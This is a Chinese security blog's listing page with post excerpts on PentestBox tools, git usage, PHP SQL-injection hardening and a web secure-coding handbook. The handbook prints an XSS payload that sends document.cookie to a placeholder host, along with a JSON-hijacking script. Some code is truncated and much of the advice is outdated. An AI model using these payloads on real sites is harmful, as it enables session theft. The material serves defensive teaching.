首页
文章
分类
标签
更多
时光机
友情链接
Search
1
史上超全共享单车车锁的开锁方式(含具体方案)转
5,199 阅读
2
渗透测试工具实战技巧合集
3,491 阅读
3
URP综合教务系统通杀getshell
3,020 阅读
4
pentestbox 下安装whatweb后,报IPADDR模块没有配置的解决办法。
2,861 阅读
5
Pentest BOX安装和使用
2,307 阅读
学习资料
工具
视频
笔记
登录
Search
标签搜索
python
javascript
pentestbox
NSA
cms
linux
前端知识
jquery
安全
mysql
php
seafile
seahub
wdcp
Richar
累计撰写
130
篇文章
累计收到
4
条评论
首页
栏目
学习资料
工具
视频
笔记
页面
文章
分类
标签
时光机
友情链接
搜索到
107
篇与
学习资料
的结果
2019-10-17
PentestBox中部分工具整理
漏洞利用工具:clusterd - inclusterd是一个开源应用服务器攻击工具包。clusterd自动化识别应用服务器的指纹,侦察和利用。 jexboss - JexBoss是一个用于测试和利用JBoss Application Server漏洞的工具。 信息收集:cangibrina - Cangibrina是一个多平台工具,旨在通过wordlist,google,nmap和robots.txt暴力获取网站相关信息。dnstwist - dnstwist将您的域名作为种子接收,生成潜在网络钓鱼域名列表,然后检查它们是否已注册。 masscan - 这是最快的Internet端口扫描程序。它可以在6分钟内扫描整个互联网,每秒传输1000万个数据包。Metagoofil - Metagoofil是一个工具,用于提取目标网站中公共文档(pdf,doc,xls,ppt等)的元数据。这些信息可能很有用,因为您可以获得有效的用户名,人名,以便稍后在bruteforce密码中使用攻击(vpn,ftp,webapps),该工具还将提取文档的有趣“路径”,我们可以在其中获取共享资源名称,服务器名称等。 shocker - 一种查找和利用易受Shellshock攻击的服务器的工具。 Web应用程序分析Cansina - Cansina是一个Web内容发现应用程序。 hsecscan - HTTP响应头的安全扫描程序。 LFiFreak - 独特的自动LFi探索器,带有绑定/反向壳。NoSQLMap - NoSQLMap是一个开源Python工具,旨在审计和自动注入攻击并利用NoSQL数据库中的默认配置弱点以及使用NoSQL的Web应用程序来公开数据库中的数据。 XXEinjector - 使用直接和不同的带外方法自动利用XXE漏洞的工具。 xssless - 用python编写的自动XSS有效负载生成器。 xsssniper - xsssniper是一个方便的xss发现工具,具有大规模扫描功能。
2019年10月17日
1,789 阅读
0 评论
0 点赞
2019-10-15
PentestBox ‘toolsmanager’ 不是内部或外部命令,也不是可运行的程序或批处理文件。解决办法
今天windows10 电脑上安装好PentestBOX后,执行了大量的渗透测试工具命令却出现如下类似的情况:'burpsuite' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 'sqlmap' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 'msfconsole' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 wpscan...... 由于PentestBOX渗透测试工具很多,我就不全部说出来了,总之,一句话:PentestBOX打开后,几乎不能执行任何命令,只有少数几个命令可以执行,例如:nmap是可以的。绝大多数命令都会提示‘xxx’不是内部或外部命令,也不是可运行的程序 或批处理文件。PentestBOX 不是内部或外部命令,也不是可运行的程序或批处理文件。解决办法解决方案也非常的简单,基本上大家可以理解为是windows系统版本兼容的问题,有的是低版本,例如windows7或windows xp,我的却是windows10。我们只需要把cmd命令窗口旧版本控制台打开即可!具体操作步骤如下:1、双击“PentestBox.exe”,弹出“cmd.exe"命令窗口。2、鼠标移动到"cmd.exe" 窗口栏最上面空白处,再点击“右键”。3、选择“Debug" ,再点击“Properties...”。cmd Debug-Properties...4、打勾“使用旧版控制台(需要重新启动)”,再点击“确定”按钮。使用旧版控制台(需要重新启动)5、只需要关闭后,重新再一次启动“PentestBox.exe”即可正常使用里面的各个渗透测试工具了!
2019年10月15日
1,902 阅读
0 评论
1 点赞
2018-12-19
GitHUB初始化仓库,并重传本地代码
配置GIT1)在本地仓库里右键选择Git Bash进入git命令行,执行$ git init2)查看状态$ git status On branch master Untracked files: (use "git add <file>..." to include in what will be committed) .idea/workspace.xml nothing added to commit but untracked files present (use "git add" to track) Richer@Richer-pc MINGW64 /f/www/cms (master) 3)配置提交用户名称和邮件地址$ git config --global user.name "Richar" Richer@Richer-pc MINGW64 /f/www/cms (master) $ git config --global user.email 2xxxx0@qq.com 4)将当前目录下代码上传至GIT$ git add . $ git commit -m "initial commit" [master 6bf1af6] initial commit 1 file changed, 256 insertions(+) create mode 100644 .idea/workspace.xml Richer@Richer-pc MINGW64 /f/www/cms (master) $ git remote add origin https://github.com/Richerjx/cms.git fatal: remote origin already exists. Richer@Richer-pc MINGW64 /f/www/cms (master) $ git remote rm origin Richer@Richer-pc MINGW64 /f/www/cms (master) $ git remote add origin https://github.com/Richerjx/cms.git Richer@Richer-pc MINGW64 /f/www/cms (master) $ git push origin master Counting objects: 156, done. Delta compression using up to 4 threads. Compressing objects: 100% (153/153), done. Writing objects: 100% (156/156), 1.21 MiB | 376.00 KiB/s, done. Total 156 (delta 24), reused 0 (delta 0) remote: Resolving deltas: 100% (24/24), done. To https://github.com/Richerjx/cms.git * [new branch] master -> master Richer@Richer-pc MINGW64 /f/www/cms (master) $5)多次上传会报错,可先删除后再上传 fatal: remote origin already exists. git remote rm origin
2018年12月19日
1,155 阅读
0 评论
0 点赞
2018-03-26
php中防止SQL注入的方法
【一、在服务器端配置】 安全,PHP代码编写是一方面,PHP的配置更是非常关键。 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全。整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨。我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件可能不在该目录。(1) 打开php的安全模式php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,但是默认的php.ini是没有打开安全模式的,我们把它打开:safe_mode = on(2) 用户组安全当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同组的用户也能够对文件进行访问。建议设置为:safe_mode_gid = off如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要对文件进行操作的时候。(3) 安全模式下执行程序主目录如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:safe_mode_exec_dir = D:/usr/bin一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,然后把需要执行的程序拷贝过去,比如:safe_mode_exec_dir = D:/tmp/cmd但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:safe_mode_exec_dir = D:/usr/www(4) 安全模式下包含文件如果要在安全模式下包含某些公共文件,那么就修改一下选项:safe_mode_include_dir = D:/usr/www/include/其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。(5) 控制php脚本能访问的目录使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:open_basedir = D:/usr/www(6) 关闭危险函数如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如,我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的phpinfo()等函数,那么我们就可以禁止它们:disable_functions = system,passthru,exec,shell_exec,popen,phpinfo如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合,就能够抵制大部分的phpshell了。(7) 关闭PHP版本信息在http头中的泄漏我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中:expose_php = Off比如黑客在 telnet www.12345.com 80 的时候,那么将无法看到PHP的信息。(8) 关闭注册全局变量在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭:register_globals = Off当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var,那么就要用$_GET['var']来进行获取,这个php程序员要注意。(9) 打开magic_quotes_gpc来防止SQL注入SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,所以一定要小心。php.ini中有一个设置:magic_quotes_gpc = Off这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,比如把 ' 转为 '等,这对防止sql注射有重大作用。所以我们推荐设置为:magic_quotes_gpc = On(10) 错误信息控制一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示:display_errors = Off如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:error_reporting = E_WARNING & E_ERROR当然,我还是建议关闭错误提示。(11) 错误日志建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因:log_errors = On同时也要设置错误日志存放的目录,建议根apache的日志存在一起:error_log = D:/usr/local/apache2/logs/php_error.log注意:给文件必须允许apache用户的和组具有写的权限。MYSQL的降权运行新建立一个用户比如mysqlstartnet user mysqlstart fuckmicrosoft /addnet localgroup users mysqlstart /del不属于任何组如果MYSQL装在d:mysql ,那么,给 mysqlstart 完全控制 的权限然后在系统服务中设置,MYSQL的服务属性,在登录属性当中,选择此用户 mysqlstart 然后输入密码,确定。重新启动 MYSQL服务,然后MYSQL就运行在低权限下了。如果是在windos平台下搭建的apache我们还需要注意一点,apache默认运行是system权限,这很恐怖,这让人感觉很不爽.那我们就给apache降降权限吧。net user apache fuckmicrosoft /addnet localgroup users apache /delok.我们建立了一个不属于任何组的用户apche。我们打开计算机管理器,选服务,点apache服务的属性,我们选择log on,选择this account,我们填入上面所建立的账户和密码,重启apache服务,ok,apache运行在低权限下了。实际上我们还可以通过设置各个文件夹的权限,来让apache用户只能执行我们想让它能干的事情,给每一个目录建立一个单独能读写的用户。这也是当前很多虚拟主机提供商的流行配置方法哦,不过这种方法用于防止这里就显的有点大材小用了。 【二、在PHP代码编写】 虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入,还是建议大家加强中文防止SQL注入的检查。addslashes的问题在于黑客可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,成为一个有效的多字节字符,其中的0xbf5c仍会被看作是单引号,所以addslashes无法成功拦截。 当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。 另外对于php手册中get_magic_quotes_gpc的举例:if (!get_magic_quotes_gpc()) {$lastname = addslashes($_POST[‘lastname’]);} else {$lastname = $_POST[‘lastname’];}最好对magic_quotes_gpc已经开放的情况下,还是对$_POST[’lastname’]进行检查一下。再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ,两者的区别是:mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑。总结一下:addslashes() 是强行加;mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求;mysql_escape_string不考虑连接的当前字符集。在PHP编码的时候,如果考虑到一些比较基本的安全问题,首先一点:初始化你的变量为什么这么说呢?我们看下面的代码:PHP代码 <?phpif ($admin) { echo '登陆成功!'; include('admin.php'); } else { echo '你不是管理员,无法进行管理!'; } ?> 好,我们看上面的代码好像是能正常运行,没有问题,那么加入我提交一个非法的参数过去呢,那么效果会如何呢?比如我们的这个页是http://daybook.diandian.com/login.php,那么我们提交:http://daybook.diandian.com/login.php?admin=1,呵呵,你想一些,我们是不是直接就是管理员了,直接进行管理。 当然,可能我们不会犯这么简单错的错误,那么一些很隐秘的错误也可能导致这个问题,比如phpwind论坛有个漏洞,导致能够直接拿到管理员权限,就是因为有个$skin变量没有初始化,导致了后面一系列问题。那么我们如何避免上面的问题呢?首先,从php.ini入手,把php.ini里面的register_global =off,就是不是所有的注册变量为全局,那么就能避免了。但是,我们不是服务器管理员,只能从代码上改进了,那么我们如何改进上面的代码呢?我们改写如下:PHP代码<?php $admin = 0; // 初始化变量 if ($_POST['admin_user'] && $_POST['admin_pass']) { // 判断提交的管理员用户名和密码是不是对的相应的处理代码 // ... $admin = 1; } else { $admin = 0; } if ($admin) { echo '登陆成功!'; include('admin.php'); } else { echo '你不是管理员,无法进行管理!'; } ?> 那么这时候你再提交http://daybook.diandian.com/login.php?admin=1就不好使了,因为我们在一开始就把变量初始化为 $admin = 0 了,那么你就无法通过这个漏洞获取管理员权限。防止SQL Injection (sql注射)SQL 注射应该是目前程序危害最大的了,包括最早从asp到php,基本上都是国内这两年流行的技术,基本原理就是通过对提交变量的不过滤形成注入点然后使恶意用户能够提交一些sql查询语句,导致重要数据被窃取、数据丢失或者损坏,或者被入侵到后台管理。 那么我们既然了解了基本的注射入侵的方式,那么我们如何去防范呢?这个就应该我们从代码去入手了。我们知道Web上提交数据有两种方式,一种是get、一种是post,那么很多常见的sql注射就是从get方式入手的,而且注射的语句里面一定是包含一些sql语句的,因为没有sql语句,那么如何进行,sql语句有四大句:select 、update、delete、insert,那么我们如果在我们提交的数据中进行过滤是不是能够避免这些问题呢?于是我们使用正则就构建如下函数:PHP代码<?php function inject_check($sql_str) { return eregi('select|insert|update|delete|'| function verify_id($id=null) { if (!$id) { exit('没有提交参数!'); } // 是否为空判断 elseif (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断 elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断 $id = intval($id); // 整型化 return $id; } ?> 呵呵,那么我们就能够进行校验了,于是我们上面的程序代码就变成了下面的:PHP代码<?php if (inject_check($_GET['id'])) { exit('你提交的数据非法,请检查后重新提交!'); } else { $id = verify_id($_GET['id']); // 这里引用了我们的过滤函数,对$id进行过滤 echo '提交的数据合法,请继续!'; } ?> 好,问题到这里似乎都解决了,但是我们有没有考虑过post提交的数据,大批量的数据呢?比如一些字符可能会对数据库造成危害,比如 ' _ ', ' %',这些字符都有特殊意义,那么我们如果进行控制呢?还有一点,就是当我们的php.ini里面的magic_quotes_gpc = off的时候,那么提交的不符合数据库规则的数据都是不会自动在前面加' '的,那么我们要控制这些问题,于是构建如下函数:PHP代码<?php function str_check( $str ) { if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str); // 进行过滤 } $str = str_replace("_", "\_", $str); // 把 '_'过滤掉 $str = str_replace("%", "\%", $str); // 把' % '过滤掉 return $str; } ?> 我们又一次的避免了服务器被沦陷的危险。 最后,再考虑提交一些大批量数据的情况,比如发贴,或者写文章、新闻,我们需要一些函数来帮我们过滤和进行转换,再上面函数的基础上,我们构建如下函数:PHP代码<?php function post_check($post) { if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开 { $post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤 } $post = str_replace("_", "\_", $post); // 把 '_'过滤掉 $post = str_replace("%", "\%", $post); // 把' % '过滤掉 $post = nl2br($post); // 回车转换 $post= htmlspecialchars($post); // html标记转换 return $post; } ?> 呵呵,基本到这里,我们把一些情况都说了一遍,其实我觉得自己讲的东西还很少,至少我才只讲了两方面,再整个安全中是很少的内容了,考虑下一次讲更多,包括php安全配置,apache安全等等,让我们的安全正的是一个整体,作到最安全。 最后在告诉你上面表达的:1. 初始化你的变量 2. 一定记得要过滤你的变量
2018年03月26日
1,449 阅读
0 评论
0 点赞
2017-11-16
web安全开发参考手册
1.客户端安全1.1. 跨站脚本漏洞1.1.1. 跨站脚本攻击说明是由于程序员在编写程序时对用户输入的可控数据没有做充分的过滤或转义,直接把用 展现在页面中。当用户提交构造的脚本或 html 标签时,便会执行,这就是跨站脚本攻击。1.1.1.1. 存储型跨站用户可控数据内容长期存储于页面中,当用户输入脚本或 HTML 标签时,输入的数据 长期展示在页面中,也就形成了储型跨站脚本攻击。1.1.1.2. 反射型跨站在用户可控数据中,未长久保存于数据库中的数据,例如 URL 提交的参数,开发人员未 对参数做过滤或转码,导致前端直接展示相关数据,这样便形成了反射型跨站脚本漏洞。1.1.1.3. Dom 型跨站当使用文档对象模型来创建文档的时候,对用户可控数据没有做正确的编码输出,便会 出现 DOM 型跨站脚本漏洞1.1.2. 跨站脚本示例JAVA 代码示例123456789while(rs.next()){%> <tr> <td><%=rs.getInt("id") %></td> <td><%=rs.getString("name")%></td> </tr> <%}PHP 代码示例1234<tr><td><?=$row["id"] ?></td><td><?=$row["name"]?></td></tr>以上代码如果出现在京东某个应用中,当用户对 id 及 name 提交1<script src=http://x.x/hacker.js></script>hacker.js 文件内容:1<script>document.location="http://x.x/x.php?c="+document.cookie;</script>当其他用户访问页面时,会执行远端 hacker.js 脚本,造成对其他用户的跨站脚本攻击。1.1.3. 跨站脚本漏洞影响恶意用户可以利用跨站脚本可以做到:盗取用户 cookie,伪造用户身份登录。控制用户浏览器。结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。修改页面内容,产生钓鱼攻击效果。蠕虫攻击。 在三种跨站脚本漏洞中影响相对最大的是存储型跨站脚本漏洞。1.1.4. HTML 跨站脚本漏洞当用户可控数据未经转义或过滤输出到 HTML 中时,用户提交恶意数据后形成 HTML 跨站 脚本攻击HTMl 跨站分为反射型和存储型两种,反射型跨站需要被动诱骗点击,而存储型只需要 打开页面即可触发危害较大 常见的出现此类问题的主要有留言板,论坛发帖回帖,博客系统,评论系统1.1.4.1. 解决方案在 HTML 中展示用户可控数据,应该进行 html escape 转义JSP代码1<div>#escapeHTML($user.name) </div> <td>#escapeHTML($user.name)</td>PHP代码1<div>htmlentities($row["user.name"])</div>转义符号:12345& --> &< --> <--> >" --> "' --> '1.1.4.2. escapeHTML 函数参考 JAVA 代码类1http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java1.1.5. JavaScript 跨站脚本漏洞当用户可控数据未经转义或过滤输出到 HTML 中时,用户提交恶意数据后形成 HTML 跨站脚本攻击JavaScript 跨站与 HTMl 跨站很多人会搞混,两者的区别在于 HTML 跨站插入恶意脚 本必须带有 HTML 标签或者带有 HTML 伪协议标签,过滤起来要比 JavaScript 跨站简单, JavaScript 跨站只需要插入鼠标事件即可触发此类漏洞。JavaScript 跨站也分为存储型和反射型,造成的影响也不同,反射型跨站需要被动诱骗 点击,而存储型只需要打开页面即可触发危害较大1.1.5.1. 解决方案在 JAVASCRIPT 中展示用户可控数据,需要对用户可控数据做 javascript escape 转义。1.1.5.2. escapeJavaScript 转义函数参考代码1http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/JavaScriptCodec.java1.1.6. JSON 跨站脚本漏洞Json 回传数据自定义函数名时,函数名可以通过 UTF-7 编码或其他编码造成跨站脚本 攻击Json 跨站与普通跨站区域别于格式,json 格式的匹配利用普通跨站代码很难实现,如果 http 传输设定为 json 必须通过 UTF-7 传输才能触发跨站漏洞,所以此类漏洞利用较难。1.1.6.1. 解决方案Java 代码 response.setContentType(“appliaction/json”); 按照以上设置,http 返回头为 appliaction/json对 callback=函数名做正则过滤123String.replaceAll(“[^w_"," ");对函数名做严格过滤,只允许数字、大小写字母、下划线 以上方法可以彻底防御 json callback 跨站脚本攻击注:特殊情况下的 json 可在正则中放 宽相关字符,但是对于以下字符是严格禁止使用'":;=|/&%#{}[]?#$@!()+-.1.1.6.2. 参考代码12345678910111213//http 传输设置为 json 类型,相关代码如下response.setContentType("appliaction/json"); //对 Callback 参数,特殊字符采用过滤的方 法public class CallbackXssUtil{public static String filter(String CallbackStr){if(CallbackStr ==null || "".equals(CallbackStr)){ return "";}CallbackStr = inputStr.replaceAll("1"," "); return CallbackStr;}}1.1.7. URL 跨站脚本漏洞当系统把用户可控数据放入 URL 中,并且把 URL 直接输出到前端 HTML 页面或页面Javascript 时,用户可控数据便可以构造攻击脚本,这种攻击我们叫做 URL 跨站脚本攻击。URL 跨站和 HTML、JavaScript 跨站有很多相似的地方,因为最终用户可控 URL 还是会输出到 HTML 和 JavaScript 中,但是 URL 跨站和 HTML、JavaScript 跨站的解决方法是 不同的。常见 URL 跨站如下:12http://www.example.com/?return=http://m.jd.comhttp://id.example.com/?return=http://my.jd.com1.1.7.1. 解决方案URL 跨站脚本攻击不能过滤用户输入数据,因为过滤用户输入数据可能导致 URL 无法访 问,必须转义用户可控 URL,主要遵循以下转义方式12345678< =%3C= %3E/ = %2F? = %3F@ =%40' = %27" = %22 = %5C1.1.7.2. 参考实践代码在 php 中以下实现方法1234567891011<?php function z_urlencode($urlstr){$httpStr = "http://"; $url= urlencode($urlstr); return $httpStr.$url;}z_urlencode("www.360buy.com/index.action?start=1&stop=2");?>输出为 http://www.360buy.com%2Findex.action%3Fstart%3D1%26stop%3D2Jsp 中可用以下方法实现12URLEncoder.encode("www.360buy.com/index.action?start=1&stop=2");<% java.net.URLEncoder.encode("www.360buy.com/index.action?start=1&stop=2","UTF-8";%>1.1.8. CSS 样式跨站脚本漏洞在用户与服务器交互访问的情况下,当页面样式 CSS 中展示用户可控数据时,攻击者会在 所提交的 CSS 中插入脚本,导致浏览此页面的用户浏览器会执行插入的 JavaScript 脚本。 CSS 跨站出现场景一般多在博客系统、文章发布系统、公告系统、留言系统中出现,CSS 多现于存储型跨站,危害较大。1.1.8.1. 解决方案同样是要对用户数可控输入中 style 内容做 CSS escape 转义调用方法1.1.8.2. 参考代码http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/CSSCodec.java1.1.9. 副文本跨站脚本漏洞web 应用程序在一些场合需要允许一些 Html 标签,和一些标签里的一些属性,如一些日志 发表的地方,书写文章的地方,由于开发者对安全认识的局限或者在自己进行的安全过滤时 考虑不周,都容易带来跨站脚本攻击,在一些 web2.0 站点甚至引发 Xss Worm。常规的一 些检测措施包括黑名单,白名单等等,但是都因为过滤得并不全面,很容易被绕过。其实有 另外一种过滤相对严格的方法,就是基于 Html 语 法分析的 filter,在满足应用的同时可以 最大限度保证程序的安全,一些过滤比较严谨的如 Yahoo Mail,Gmail 等等就是基于该原 理进行的过滤。1.1.9.1. 解决方案白名单模式过滤相关恶意跨站脚本黑名单模式过滤相关恶意跨站脚本1.2. URL 跳转漏洞1.2.1. URL 跳转漏洞说明由于应用越来越多的需要和其他的第三方应用交互,以及在自身应用内部根据不同的 逻辑将用户引向到不同的页面,所以 URL 跳转便出现在我们的应用中,当对所跳转的连接 没有做验证的情况下可能跳到任何一个网站,导致了安全问题的产生,这种问题就是 URL 跳转漏洞1.2.2. 解决方案对跳转地址进行检测,当跳转地址非本域地址,强制跳转到主站在控制页面转向的地方校验传入的 URL 是否为可信域名 3、对传入跳转 URL 中字符‘@’进行过滤1.2.3. 参考实践1暂缺1.3. JSON 挟持漏洞1.3.1. JSON 挟持漏洞说明JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,JSON 传输的数 据在两个不同的域,譬如对于大的互联网公司,代表了 A 应用的 A 域名想获取代表 B 应用 的 B 域名的数据时,由于在 javascript 里无法跨域获取数据,所以一般采取 script 标签的 方式获取数据,传入一些 callback 来获取最终的数据。这样导致非法网站也会调用相关接 口来实现数据的读取,导致了 json 传输数据的挟持1.3.2. JSON 挟持实例我们设定如下连接http://my.jd.com/global/track.action?jsoncallback=func这里就是我们前面提到的一个使用 json 传递数据,支持自定义 callback、跨域使用 script 方式获取数据的典型例子,我们来写一段简单的攻击代码:这里 json 传递的数据是客户近期浏览商品的记录,攻击代码:12<script> function func(o){ alert(o.history[0].wid + '|' + o.history[0].wname);}</script><script src=http://my.jd.com/global/track.action?jsoncallback=func></script>此攻击代码可以手机用户在京东的商品浏览历史。1.3.3. JSON 挟持解决验证 referer 来源,当非白名单域名,返回空信息改变 JSON 传输格式,彻底杜绝此类漏洞(这种解决方案改动较大,对业务影响较大, 但是非常彻底);1.3.4. 最佳实践参考代码12345678910111213141516171819202122protected boolean invalidRefer() {String referer = request.getHeader("Referer"); if (StringUtils.isEmpty(referer)) { return true; } try { if (referer.contains("?")) { referer = referer.substring(0, referer.indexOf("?")); } URI referUri = new URI(referer); String homeDomain = getText("login.success.page"); //白名单 String curDomain = referUri.getHost(); if (curDomain.contains(homeDomain.substring(homeDomain.indexOf(".") + 1))) { return false; } else { return true; } } catch(Exception e) { log.error("--invalid uri--" + referer, e); return true; }}更多信息请参考1.4. XSIO 攻击1.4.1. XSIO 漏洞说明XSIO 产生的原因是因为没有限制图片的 position 属性为 absolute 绝对定位图片的位 置,这就导致了可以把张图插入到整个页面的任意位置,包括网站的 banner,包括一个 link、一个 button,覆盖页面的连接,甚至覆盖整体页面,很显然这样的漏洞对安全造成了 极大的风险,例如网络钓鱼,非法广告,点击挟持等被诸多攻击方法。1.4.2. XSIO 漏洞实例当百度博客用户编辑文章时,加入如下代码,即可造成覆盖任意地方1234</table>1.4.3. XSIO 漏洞解决如果对效果要求不高,建议过滤图片标签中 position 属性 absolute如果对效果要求较高,不允许 position 属性设置为 absolute 参考最佳实践代码1.5. Cross-site request forgery(跨站请求伪造)1.5.1. CSRF 介绍CSRF 的全称是 Cross-site request forgery,即跨站请求伪造,我们可以简单的理解这 种漏洞为,攻击者利用被攻击者的身份发起了某些被攻击者原本不知情的网络请求。包括以 被攻击者的身 份发布一条微博,以被攻击者的身份发布一条留言,以被攻击者的身份关注某 个用户的微博等。著名的微博蠕虫就是利用这种漏洞,造成了较大的影响1.5.2. CSRF 实例1234····此处有图片!!!!粘贴到CF再加入········首先构造如下 HTML 页面:12345<html><body></body><html>页面连接设为:1http://www.hacker.com/xxx.html并把页面连接加入到商品评论,诱使访问者点击当用户访问京东网站,发现连接点击后,自动退出网站账号。1.5.3. 解决方案方法一(长久有效,彻底防御)在与用户交互时,设置一个 CSRF 的随机 TOKEN,种植在用户的 cookie 中。当用户 提交表单时,生成隐藏域值为 COOKIE 中随机 TOKEN,用户提交表单后验证两处 token值,来判断是否为用户提交方法二(临时防御,可以绕过)验证用户提交数据的 refere 信息,当为提交页时,说明为用户提交,当为其他页面 时,说明为 csrf 攻击。验证 refere 代码参考此方法只应用于单一交互表单,只验证表单数据可用以下方法123456789101112131415161718192021222324252627282930313233String referer = request.getHeader("referer");if (StringUtils.isEmpty(referer)) {return false;}if (validAddress(referer)) {popInfoService.savePopInf(popInfVo);}private boolean validAddress(String referer) {String refAddress = "http://xxxx.vipkid.com"; String str = referer.substring(0, refAddress.length()); if (refAddress.equals(str)) { return true; } return false;}此方法适合放置全站,以防止csrf攻击,但会对性能有所影响,不建议使用protected boolean invalidRefer() {String referer = request.getHeader("Referer"); if (StringUtils.isEmpty(referer)) { return true;} try { if (referer.contains("?")) { referer = referer.substring(0, referer.indexOf("?")); } URI referUri = new URI(referer); String domain = referUri.getHost(); if (StringUtils.isNotBlank(domain) & amp; & amp; (domain.endsWith("vipkid.com.cn")) { return true; } return false; } catch(Exception e) { log.error("--invalid uri--" + referer, e); return true; } }1.6. FLASH 安全利用 flash 服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户 端的 flash 文件发起各种请求或者攻击客户端的页面。FLASH 的安全问题主要有服务端的安全设计问题和客户端的 flash 安全两块1.6.1. FLASH 客户端安全1.6.1.1. 本地配置文件错误客户端在嵌入 flash 文件的时候没有指定 flash 文件的客户端限制策略,导致嵌入在客 户端的 flash 文件可以访问 HTML 页面的 DOM 数或者发起跨域请求。错误的配置文件123<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0`name="Main" width="1000" height="600" align="middle" id="Main"></object>例子中的 allowscriptaccess 选项为 always,这样的配置会使 flash 对于 html 的通讯也就是执行 javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本 域的 flash 与 html 通讯,建议设置为 never;例子中没有设置 allowNetworking 选项,需 要把 allowNetworking 设置为 none,因为 allowNetworking 在设置为 all(默认是)或 者是 internal 的情况下会存在发生 csrf 的风险,因为 flash 发起网络请求继承的是浏览器的 会话,而且会带上 session cookie 和本地 cookie。1.6.1.2. 客户端安全配置规范禁止设置 flash 的 allowscriptaccess 为 always,必须设置为 never,如果设 置为 SameDomain,需要客户可以上传的 flash 文件要在单独的一个域下。设置 allowNetworking 选项为 none。设置 allowfullscreen 选项为 false。1.6.2. FLASH 服务端安全1.6.2.1. 服务端配置错误-跨域访问FLASH 配置文件 crossdomain.xml 介绍 flash 在跨域时唯一的限制策略就是 crossdomain.xml 文件,该文件限制了 flash 是否可以跨域读写数据以及允许从什么地方 跨域读写数据。错误配置如下:1234<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它域发起的。正确的配置123<cross-domain-policy><allow-access-from domain="*.meipai.com"/></cross-domain-policy>1.6.2.2. FLASH 开发规范移除敏感信息确认没有包含像用户名、密码、SQL 查询或者其他认证信息在 swf 文件里 面,因为 swf 文件能够被简单的反编译而使信息泄露客户端的验证客户端的验证能够通过反编译软件轻易的去除后重新编译,必须在客户端 和服务端都做一次验证,但是服务端的验证不能少去除调试信息去除类似于”trace”和其他一些调试语句,因为他们能够暴露代码或数据的 功能,如下代码片段暴露了该段代码的验证功能:12345If(checklogin){ Userlogin = ture; }trace(“管理员验证成功”);参数传入如果有加载外部数据的需求,尽量不要在 html 中用“params”标签或者是 querystring 这种形式来注入数据到 swf 文件中。可以的办法是通过 sever 端的一个 http 请求来得到参数。allowDomain()flash 文件如果有和其他 swf 文件通信的需求,需要在 swf 中配置 allowDomain()为 制定的来源,禁止用*符号来允许任意来源如下 AS 